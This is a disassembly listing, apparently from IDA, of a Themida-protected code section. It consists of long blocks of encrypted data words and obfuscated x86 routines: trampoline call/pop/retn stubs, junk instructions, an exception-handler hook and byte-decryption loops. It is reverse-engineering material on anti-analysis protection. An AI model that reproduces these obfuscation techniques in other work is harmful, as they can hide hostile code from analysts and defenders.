		dd 0B857h, 12E80000h, 72000000h, 0E1DD7211h, 40F79554h
		dd 37539BFBh, 4023FB68h, 14E9F7h, 5DEA0000h, 0D27D8018h
		dd 71F4976Ch, 5D557219h, 1E191569h, 8D5F22DEh, 144D798Dh
		dd 0D98B6606h, 0BD8BE1FFh, 6140F6Dh, 2671BD83h,	0F000614h
		dd 43A84h, 0D1BD8B00h, 6606140Ah, 0BD83FE8Bh, 6142671h
		dd 3F840F01h, 8B000004h, 143511BDh, 71BD8306h, 3061426h
		dd 3F6860Fh, 9600000h, 140D69BDh, 0D98C6606h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F6C35040h, 8B74A1A4h
		dd 142F359Dh, 9E806h, 0D6A60000h, 15DE1B36h, 818240A8h
		dd 0FCEE70CBh, 0E1805F1Fh, 0A5BD0904h, 0E8061404h, 11h
		dd 99996497h, 0A1667E84h, 423D4B26h, 0A9B39A64h, 4D8D8934h
		dd 5B061419h, 840FC90Ah, 1ADh, 2820Fh, 0F98A0000h, 8BF98B66h
		dd 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BD8B6BE9h, 6142395h, 1B818533h
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 81607EC3h, 4959B2F0h, 0CA8B661Fh,	0BF665061h
		dd 4898262h, 319D8B24h,	6606141Bh, 6ABB39BBh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0BC75B7AFh, 60ADBB61h, 313D2FBAh, 39952915h,	6106142Bh
		dd 0AD958960h, 0F06141Bh, 686h,	5D950900h, 6106141Ch, 4E8h
		dd 1F03FF00h, 12E900h, 0BA890000h, 6D6A3C29h, 7456B53Eh
		dd 3D422C97h, 2A5613F3h, 5E950h, 2F370000h, 8B221981h
		dd 0B3042444h, 60008B63h, 0D2C158BEh, 44896113h, 8E80424h
		dd 29000000h, 47BD643Bh, 0F72737Ch, 1585h, 10E900h, 74660000h
		dd 6AAD0FE7h, 10238B74h, 0E3146025h, 585FCE36h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E3C35242h, 0DBC0F5E0h
		dd 6C26C781h, 95FF2BC1h, 61409ADh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 9C35343h, 708398B4h, 39BD8B78h
		dd 8906142Ch, 17AA9885h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 89E4F1F7h, 1422119Dh
		dd 0CDB50906h, 0E9061415h, 15Bh, 0DE38166h, 90858B68h
		dd 520617AAh, 0C75BFB8Bh, 1800h, 0B58BF900h, 617AA94h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 83C35343h
		dd 0A6E1BFCFh, 669860F9h, 0AAB3FB8Bh, 0B29858Bh, 0DB800614h
		dd 8B06894Bh, 14196985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6ABF724Bh, 710C21AEh
		dd 0BE8h, 98AC3400h, 0E40B160Bh, 0C35D777Fh, 82DBD0Bh
		dd 895B0614h, 141ACD85h, 4468906h, 1FB58D89h, 60960614h
		dd 6E9h, 0A64EC200h, 8ACF9A58h,	525061C6h, 0AE9965Bh, 0AD000000h
		dd 1B16548h, 1A41F9F9h,	90B5FF7Fh, 810617AAh, 0D27C82D7h
		dd 0EEA56808h, 8C0F240Ah, 2, 34815F52h,	15ED5A24h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BF66C871h, 858DE93Dh, 617AA98h, 8499D0Bh, 0E8500614h
		dd 10h,	62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh
		dd 2404895Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	41C35141h, 5482FC27h, 74C7E73Ch, 31A59D09h, 95FF0614h
		dd 61409ADh, 61FABF0Fh,	14E9h, 55BE4C00h, 0C0392031h, 592E337Fh
		dd 5C4A969Ah, 0BAF70FD1h, 7185C797h, 3061426h, 60000000h
		dd 13E9F78Bh, 5A000000h, 0C70C6F1Dh, 94D5E003h,	0FC61D750h
		dd 67F2DB4h, 8361087Dh,	17AA98BDh, 840F0006h, 34h, 48E9D98Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 76C8C353h, 1CAC387Dh, 68C0Fh
		dd 95890000h, 6143529h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 1409A9B5h, 68B0F06h, 9000000h
		dd 1425BD95h, 9BBB6606h, 83FA8BFFh, 142671BDh, 850F0306h
		dd 460h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	92C35242h, 0AA98BD83h, 0F000617h, 43784h, 42D38000h
		dd 0AA98B5FFh, 6A0617h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C6106EC3h, 0C61B531h, 95FF0614h
		dd 6142AF5h, 8BF98B66h,	17AA8CB5h, 19952906h, 0C706140Eh
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 722D798Ch, 96F83401h, 0FE8B5250h
		dd 0BF52310Fh, 0FD51096h, 50585A5Fh, 96DA8B66h,	10E9h
		dd 363D9700h, 918A7CB0h, 4206BAA4h, 18B4899Fh, 98B5FF51h
		dd 6A0617AAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0F547C357h, 0FFB3A19Dh, 140B3195h
		dd 55BD8B06h, 0E8061431h, 0Eh, 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh
		dd 12E9F55Ch, 0E9000000h, 5C4285A7h, 0C34120E9h, 0D0CD99C0h
		dd 9842A979h, 0B58B5BD1h, 617AA8Ch, 90CF8166h, 0D5858B3Dh
		dd 81061421h, 762C3AD7h, 0C486897Ch, 89000000h,	140FA59Dh
		dd 29958B06h, 6A061432h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B211C356h,	8360CA64h
		dd 17FDD78h, 140E29BDh,	0DE806h, 0D9C80000h, 0A076B55Eh
		dd 8CE38AA6h, 890396A5h, 1409A99Dh, 0C2835B06h,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 2E4C2F0Ch, 5EC6687Ch, 50890B04h, 52006A20h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 92A6B875h
		dd 0E9F88B66h
		dd 0Eh,	330D7494h, 5BB98AB4h, 9284FDE0h, 858D14A6h, 617BE06h
		dd 8689F98Ah, 0B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 3BC35343h, 78AAB1ACh,	8B70EF9Ah, 142621BDh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1C7DC351h, 60189CEAh, 0B866FE8Bh
		dd 0FF61B7E4h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8E0F12h, 89000000h
		dd 141371B5h, 3995FF06h, 8B061409h, 140BFDBDh, 2C4BB06h
		dd 60963C3Ah, 0B9B25250h, 5250310Fh, 585A310Fh,	5061585Ah
		dd 7E85250h, 0B9000000h, 90C5CA93h, 8F0F36C6h, 0
		dd 8B310F5Fh, 96585ADFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CC35747h, 9368411h, 140D4D85h, 98B5FF06h
		dd 6A0617AAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 2E1AC351h, 8B64F9E2h, 0F595FFB3h
		dd 6A061420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0FCDAC356h, 728BC547h,	0D4F780FFh
		dd 0C21BD83h, 0F000614h, 5284h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 8EAE41C5h
		dd 14592091h, 10E9BD89h, 8B500614h, 243489DAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh
		dd 0FF22B8B1h, 17AA98B5h, 0FFFA8B06h, 1402B195h, 39852906h
		dd 0FF061410h, 17AA98B5h, 0AAE78106h, 0E87260BEh, 0Ah
		dd 878DE953h, 0FB143895h, 81662F3Fh, 5BBB39DFh,	308195FFh
		dd 7E80614h, 23000000h,	0CFC68B29h, 0BF66FD58h,	835F4644h
		dd 1409F5BDh, 840F0206h, 72h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 10C35646h, 3067C673h, 521BEA15h
		dd 3DF80DCh, 0BD958960h, 8B061415h, 142D19B5h, 858B6106h
		dd 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	38C35141h, 5BD92F9Fh, 8BBBFF40h, 8B40FE19h, 1406C99Dh
		dd 0C606h, 24F59D29h, 85C70614h, 614244Dh, 0
		dd 0FFF356E9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C37D23A6h, 0B69BD89h
		dd 0C18B0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0D4C35646h, 53115DCDh, 4319D8Bh, 0BF5B0614h, 54F2E868h
		dd 0F99858Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0C89027C3h, 65DF81A1h, 502AFB99h
		dd 0B820Fh, 52500000h, 0FD88B66h, 5A616031h, 24048958h
		dd 68A0Fh, 9D8B0000h, 6140D55h,	6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AD8297C3h
		dd 53A3867Fh, 9D8B006Ah, 61413F5h, 0BCCA858Dh, 6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 76641EC3h, 895A55F1h, 14209185h, 5C08306h, 0DDF38166h
		dd 90B39009h, 6E950h, 3D0000h, 0C3B78D99h, 819D8990h, 6A06142Eh
		dd 5FBB6600h, 6A006A2Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0EC6AC355h,	2D45B589h
		dd 95FF0614h, 6141A71h,	8DFE8B66h, 17A8FC8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5644828Ch, 8BDFFF65h, 1410399Dh, 0DB816606h,	0D1FF0828h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h
		dd 3FF8133Dh, 5818C582h, 1E99D8Bh, 0BD830614h, 61412CDh
		dd 7A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 4173C356h, 6C5384Ch
		dd 67B48E1Bh, 26AF98Bh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0BCC35343h, 5FE6362Bh, 90BB75D4h, 8BF3BB66h
		dd 12E850h, 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h
		dd 5C94B12Eh, 9D8B905Fh, 6140021h, 93995FFh, 8B660614h
; ---------------------------------------------------------------------------
		stc


loc_5948A9:				; DATA XREF: Themida_:0054AC70o
		jmp	loc_595749
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 618BCD4h
		cld
		xor	edi, 4EA344ABh
		mov	di, 0A341h
		lea	eax, [ebp+6179623h]
		push	0
		push	ecx
		call	sub_5948D6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5948D6	proc near		; CODE XREF: Themida_:005948CEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5948D6	endp

; ---------------------------------------------------------------------------
		xlat
		mov	esi, 321B8A4Eh
		push	edi
		stc
		pop	ebx
		adc	di, 0F4F9h
		push	eax
		mov	[esp], eax
		push	0
		push	ebp
		call	sub_594903
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594903	proc near		; CODE XREF: Themida_:005948FBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_594903	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp+53h]
		jmp	loc_59492A
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------


loc_59491C:				; CODE XREF: Themida_:00594972j
		pusha
		hlt
; ---------------------------------------------------------------------------
		dw 2858h
		db 0BBh, 0DAh, 67h
; ---------------------------------------------------------------------------


loc_594923:				; CODE XREF: Themida_:00594979j
		push	esp
		add	ebx, [edi]
		xor	ecx, [esi-5Bh]
		inc	eax


loc_59492A:				; CODE XREF: Themida_:00594916j
		pop	edi
		jb	loc_59493D
		jo	loc_59493D
		jp	$+6


loc_59493D:				; CODE XREF: Themida_:0059492Bj
					; Themida_:00594931j
		mov	di, 0CD0Dh
		push	large dword ptr	fs:0
		add	ebx, [ebp+61425CDh]
		mov	large fs:0, esp
		pusha
		xor	bx, 304h
		or	di, 7Dh
		popa
		inc	dword ptr [ebp+614236Dh]
		mov	[ebp+61409A1h],	eax
		call	near ptr loc_59497B+4
		js	short loc_59491C
		sub	eax, 0EFAFEE6Bh
		jg	short loc_594923


loc_59497B:				; CODE XREF: Themida_:0059496Dp
		jmp	far ptr	680h:0F1CDE30h
; ---------------------------------------------------------------------------
		align 4
		dd 0E5BD8B00h, 5F06140Bh, 0BD89FF6Ah, 6141C25h,	0D49B5FFh
					; CODE XREF: Themida_:loc_595701j
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD8B16C3h, 614235Dh, 2B1995FFh, 3EE90614h
		dd 0B000001h, 1408CD9Dh, 100B006h, 1430599Dh, 6070E606h
		dd 2215B503h, 0EE90614h, 0F2000000h, 0F0D2D984h, 6EB4E723h
		dd 0A50BDDECh, 71E461FBh, 14E9h, 24D47000h, 7E3653ECh
		dd 0FEA60C20h, 5A7117E6h, 79907E26h, 0F613CE9h,	0F083h
		dd 0DE900h, 0C300000h, 0AEBC0CD6h, 38BFD0E3h, 0FE380FEh
		dd 8B66C8B6h, 6BADFh, 0F5600000h, 0D8A0Fh, 8E90000h, 85000000h
		dd 0B947F076h, 61B1417Eh, 8D31C18Bh, 6140D0Dh, 8A04E8C1h
		dd 0E2F766F9h, 0FB090BBFh, 33C82B08h, 1431119Dh, 8BD18B06h
		dd 1430E1BDh, 93E906h, 95890000h, 6142EA1h, 8858Bh, 0BD8B0000h
		dd 6140FBDh, 31518D89h,	0C0830614h, 0FBBF0F07h,	8900C083h
		dd 142ED185h, 0FD03B06h, 0F83h,	0FB8B5300h, 5BE95Bh, 0BF0F0000h
		dd 0FEBF0FF8h, 0FFFF8D8Bh, 0EEBFFFFFh, 0E8443CCCh, 12h
		dd 69B1DD02h, 0AA53E051h, 95BFA3D2h, 177D8FA0h,	0BD29ED6Eh
		dd 6140F65h, 1E1835Fh, 23840Fh,	0FA8A0000h, 83DE8B66h
		dd 0FFFFFFA5h, 9589FEFFh, 614221Dh, 89589h, 0B5310000h
		dd 614167Dh, 0E9h, 34B58D00h, 8B06183Ch, 6A006AD8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 746AC357h, 2510238Bh, 0EB811460h, 2E8AD5BCh,	116995FFh
		dd 0BD8B0614h, 614210Dh, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0E183F01Eh
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C0446454h, 39B501D0h, 0FC06140Dh, 2BDFB70Fh
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 9AA7A8D2h, 54B91D14h, 0BAh, 20BF5100h, 5B48A276h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DEC35343h,	9E87D98h, 92000000h
		dd 0A99914A6h, 0E15873A2h, 0CAE8BF66h, 56006A5Fh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0C9E7DE9Dh, 0B8C8C1C4h, 0D88B6603h, 0D9EE380h, 88h
		dd 958B4AB7h, 6143229h,	8B95D380h, 14064D8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8A58188Bh
		dd 52006AF9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 9C56ED9Bh, 24A56AC4h, 29ADBD83h,	0F000614h
		dd 7284h, 219D8900h, 80061415h,	0B8E9F7h, 53000000h, 8D5FD88Bh
		dd 144D798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 1027F571h, 9158C319h, 0D381664Ah
		dd 0E1FF613Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0BAC35343h, 0E92CCDBDh,	5, 0B593D2FAh, 0D19D8B09h
		dd 8306140Ah, 142671BDh, 840F0006h, 470h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 66C35040h, 3029331h
		dd 9639EEEDh, 71BD83FCh, 1061426h, 459840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 102BD6C3h, 894EF65Dh, 141C6185h, 71BD8306h, 3061426h
		dd 3EF860Fh, 85890000h,	6142AC1h, 12E8h, 14569500h, 104B1BC9h
		dd 29BA893Dh, 3E6D6A3Ch, 0F97456B5h, 6A605Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C66CBC3h
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 3BA1C6Dh, 142559BDh, 80CEB706h, 6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0AC1E37C3h, 0AFF8A4Ah, 48840FC9h, 0F000001h,	858BFFB7h
		dd 6141969h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	71C35747h, 1A72FCF7h, 159D8Bh, 85330614h, 6141B81h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A6C35141h
		dd 0FDE1CB1h, 687h, 6D958900h, 90061405h, 310F5250h, 7E8h
		dd 0FBF5BD00h, 0E233137Eh, 5BFB8B66h, 9050585Ah, 9759D23h
		dd 6A0614h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	0CFC35646h, 809EE5ACh, 4E84043h, 0FF000000h, 0BB001F03h
		dd 6656C6BCh, 8BD88B50h, 52042444h, 8B008B5Fh, 244489DEh
		dd 6E804h, 97110000h, 0DB03B003h, 5E9h,	0DD520200h, 585FBF81h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1BC35242h
		dd 1ADBD09h, 95FF0614h,	61409ADh, 1D8DBD8Bh, 85890614h
		dd 617AA98h, 3850Fh, 0BF0F0000h, 1D3E9DFh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h
; ---------------------------------------------------------------------------
		and	al, 4


loc_594F42:				; DATA XREF: ___:off_438C78o
		add	dword ptr [esp+4], 14h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 6Bh,	53h, 0E8h
		dd 5, 64B8538Eh, 0E9BB6658h, 8B5F5FA7h,	17AA9085h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8501ACF2h, 6140E15h,	1800C7h, 870F0000h, 1, 94B58BF9h
		dd 290617AAh, 14063195h, 29858B06h, 6A06140Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 2625C356h, 25E91BF7h, 660689BFh, 8B6783BBh, 14196985h
		dd 8C0F5106h, 6, 26758589h, 8B5F0614h, 142B65BDh, 4468906h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 15C35040h
		dd 9034EA84h, 8B60379Fh, 669661CFh, 5099A1BFh, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E54F8707h, 0AFDB8166h, 90B5FF8Bh, 6A0617AAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3B2C352h, 1F9A08DDh,	0E5A6800h, 8B666A5Bh, 243481FAh
		dd 6A440DA5h, 0D59D8B56h, 5B061406h, 0AA98858Dh, 6A0617h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 40CBACC3h, 8B721D8Fh, 1414E19Dh, 66505006h, 5B4038BFh
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0EA85C357h, 8D89A3EBh,	6140FA5h
		dd 0FCD8589h, 95FF0614h, 61409ADh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 73C35040h, 29B5339Ch, 0BD8B61F5h
		dd 6140659h, 2185B589h,	85C70614h, 6142671h, 3,	0FF59589h
		dd 12E80614h, 9A000000h, 921E0552h, 72F267A8h, 0B7869B60h
		dd 0BB19D812h, 810F53A5h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	ebx
		cmp	dword ptr [ebp+617AA98h], 0
		jz	loc_595175
		jg	loc_595169
		call	sub_595162
		add	edi, [edi+esi*2-7B0876F0h]
		dec	esp

; =============== S U B	R O U T	I N E =======================================



sub_595162	proc near		; CODE XREF: Themida_:00595155p
		mov	ebx, [ebp+6142B8Dh]
		pop	ebx


loc_595169:				; CODE XREF: Themida_:0059514Fj
		cmc
		jmp	loc_595190
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6142B69h]


loc_595175:				; CODE XREF: Themida_:00595149j
					; sub_595162+2Aj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_595175
		jmp	short loc_5951C6
; ---------------------------------------------------------------------------


loc_595190:				; CODE XREF: sub_595162+8j
					; sub_595162+45j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_595190
		jmp	short loc_5951C6
; ---------------------------------------------------------------------------


loc_5951AB:				; CODE XREF: sub_595162+60j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5951AB
		jmp	short $+2


loc_5951C6:				; CODE XREF: sub_595162+2Cj
					; sub_595162+47j
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5951D3
		and	[ecx-3Dh], bl
sub_595162	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5951D3	proc near		; CODE XREF: sub_595162+69p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5951D3	endp

; ---------------------------------------------------------------------------
		xor	edx, [eax+598D8B60h]
		push	cs
		adc	al, 6
		movzx	eax, di
		popa
		mov	[ebp+6142A85h],	edx
		mov	edi, [ebp+614058Dh]
		push	0
		push	edi
		call	sub_595207
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595207	proc near		; CODE XREF: Themida_:005951FFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_595207	endp

; ---------------------------------------------------------------------------
		add	[ebp+66h], esi
		scasb
		mov	edi, [ebp+614068Dh]
		stc
		cmp	dword ptr [ebp+6142671h], 3
		jnz	loc_595701
		push	0
		push	edx
		call	sub_59523A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59523A	proc near		; CODE XREF: Themida_:00595232p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx


loc_595248:				; CODE XREF: Themida_:0059524Aj
		push	edx
		retn
sub_59523A	endp

; ---------------------------------------------------------------------------
		loope	loc_595248
		xor	al, 12h
		pop	es
		and	ah, [edx]
		scasd
		jmp	loc_595267
; ---------------------------------------------------------------------------
		db 8Eh
		dd 45BC39A4h, 0A2361FA0h, 0EB21C78Ah
		db 10h,	9Dh, 6Eh
; ---------------------------------------------------------------------------


loc_595267:				; CODE XREF: Themida_:00595252j
		cmp	dword ptr [ebp+617AA98h], 0
		jz	loc_595701
		push	0
		push	ecx
		call	sub_59527F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59527F	proc near		; CODE XREF: Themida_:00595277p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_59527F	endp

; ---------------------------------------------------------------------------
		dec	edi
		adc	[ecx-238A9BAh],	dh
		jnp	loc_5952A2
		mov	[ebp+61403E9h],	ecx


loc_5952A2:				; CODE XREF: Themida_:00595296j
		movsx	edi, bx
		push	dword ptr [ebp+617AA98h]
		push	0
		push	ebx
		call	sub_5952B6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5952B6	proc near		; CODE XREF: Themida_:005952AEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5952B6	endp

; ---------------------------------------------------------------------------
		or	[ecx+ebp*8+0Eh], cl
		sbb	[edx], ebp
		sal	dword ptr [esi-2Ch], 0D2h
		mov	ebp, 3C3D1515h
		mov	esi, 0BD899A45h
		dec	ecx
		or	[esi+eax], dl
		call	dword ptr [ebp+6142AF5h]
		push	0
		push	eax
		call	sub_5952F2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5952F2	proc near		; CODE XREF: Themida_:005952EAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5952F2	endp

; ---------------------------------------------------------------------------
		dec	esi
		pop	es
		mov	[ebp+6142EADh],	esi
		mov	esi, [ebp+617AA8Ch]
		push	edi
		movsx	ebx, cx
		pop	ebx
		mov	dword ptr [esi], 10001h
		push	0
		push	edi
		call	sub_595326
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595326	proc near		; CODE XREF: Themida_:0059531Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_595326	endp

; ---------------------------------------------------------------------------
		sar	dword ptr [esi], 1
		mov	di, 5872h
		jmp	loc_59534A
; ---------------------------------------------------------------------------
		cmc
		cmp	al, 36h
		icebp
		adc	eax, 9673E031h


loc_59534A:				; CODE XREF: Themida_:0059533Cj
		push	eax
		mov	edi, 3D5FCE44h
		mov	[esp], esi
		push	0
		push	ebx
		call	sub_59535E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59535E	proc near		; CODE XREF: Themida_:00595356p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_59535E	endp

; ---------------------------------------------------------------------------
		or	ah, [esi-75h]
		fisttp	word ptr [ecx+14035DB5h]
		push	es
		push	dword ptr [ebp+617AA98h]
		jo	loc_595386
		mov	bh, 0C5h


loc_595386:				; CODE XREF: Themida_:0059537Ej
		call	dword ptr [ebp+6140B31h]
		push	0
		push	edx
		call	sub_595397
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595397	proc near		; CODE XREF: Themida_:0059538Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
